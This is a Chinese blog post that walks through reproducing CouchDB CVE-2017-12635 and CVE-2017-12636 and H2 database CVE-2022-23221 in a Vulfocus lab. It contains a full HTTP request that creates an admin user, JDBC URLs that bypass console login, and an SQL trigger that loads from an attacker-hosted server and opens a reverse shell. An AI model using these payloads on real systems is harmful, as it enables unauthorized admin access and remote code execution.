• Couchdb-权限绕过--命令执行--(CVE-2017-12635)&&(CVE-2017-12636)--H2database命令执行--(CVE-2022-23221)


    Couchdb-权限绕过--命令执行--(CVE-2017-12635)&&(CVE-2017-12636)--H2database命令执行--(CVE-2022-23221)

    环境概述

    采用Vulfocus靶场环境进行复现,搭建操作和文章参考具体搭建教程参考vulfocus不能同步的解决方法/vulfocus同步失败

    Couchdb CVE-2017-12635权限绕过

    漏洞概述

    Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露利用。

    默认端口

    5984端口

    影响范围

    小于 1.7.0 以及 小于 2.1.1

    漏洞复现

    将Vulfocus靶场环境启动后,根据映射端口号进行访问
    在这里插入图片描述
    访问成功后显示出版本号
    在这里插入图片描述
    访问登录界面抓包进行测试
    访问地址

    /_utils/#login

    在这里插入图片描述
    抓包将请求方法修改为PUT方法,在请求数据包后面添加json数据
    POC

    PUT /_users/org.couchdb.user:hack HTTP/1.1
    Host: IP地址加端口
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/json
    Content-Length: 108
    
    {
      "type": "user",
      "name": "hack",
      "roles": ["_admin"],
      "roles": [],
      "password": "hack"
    }
    

    对应位置修改想要创建的用户及密码即可
    在这里插入图片描述
    使用创建的用户名和密码尝试登录,成功登录即漏洞利用成功

    Couchdb CVE-2017-12636 命令执行

    默认端口

    5984端口

    影响范围

    小于 1.7.0 以及 小于 2.1.1

    漏洞利用

    这个漏洞利用需要建立在具有用户权限之上,可以利用CVE-2017-12635漏洞添加数据库用户后进行命令执行

    环境启动后直接下载EXP,修改EXP的目标地址的端口号以及目标数据库版本即可
    下载地址参考 CVE-2017-12636/exp.py
    将EXP中所执行的命令目标以及数据库版本修改即可
    在这里插入图片描述

    H2database CVE-2022-23221 命令执行

    漏洞概述

    Java SQL 数据库 H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在v2.1.210+中修复。2.1.210 之前的H2控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。

    影响范围

    Spring Boot + H2

    spring.h2.console.enabled=true

    JDK < 6u201、7u191、8u182、11.0.1(LDAP)

    默认端口

    20051端口

    漏洞利用

    环境启动后访问得到如下界面
    在这里插入图片描述

    1. 未授权进入:
    • 将如下命令放入JDBC URL即可直接进入数据库
    jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
    1. 命令执行
    • 首先创建sql文件,将sql文件放入服务器中,这里我使用python启用web服务,将sql文件放入家目录中
    CREATE TABLE test (
         id INT NOT NULL
     );
    CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
    Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';
    • 启用web服务
    python3 -m http.server 端口
    • 使目标数据库加载远程sql文件
    jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://搭建的IP:端口/h2database.sql';\

    以上内容仅作学习记录,如有错误或瑕疵,欢迎批评指正,感谢阅读。


    __EOF__

  • 本文作者: 了了青山见
  • 本文链接: https://www.cnblogs.com/Pengj/p/17721192.html
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    内网穿透的应用-如何在Docker中部署MinIO服务并结合内网穿透实现公网访问本地管理界面
    潜力无限:深入探索 gRPC 的奇妙世界
    数据结构——树形结构
    开源代码安全 | 西门子为保护代码安全采取了什么措施?
    【远程调用 MySQL数据库并操作】——使用NATAPP搭建内网穿透远程访问MySQL数据库并使用 Python新建、写入、读取、删除数据【详细版】
    NumPY创建数组(ndarray)对象方法应用
    【★★★★★ 第1章 绪论总结笔记 2022 9.10】
    Android v1+v2 命令行签名
    2022-09-17青少年软件编程(C语言)等级考试试卷(五级)解析
    idea个人常用插件
  • 原文地址:https://www.cnblogs.com/Pengj/p/17721192.html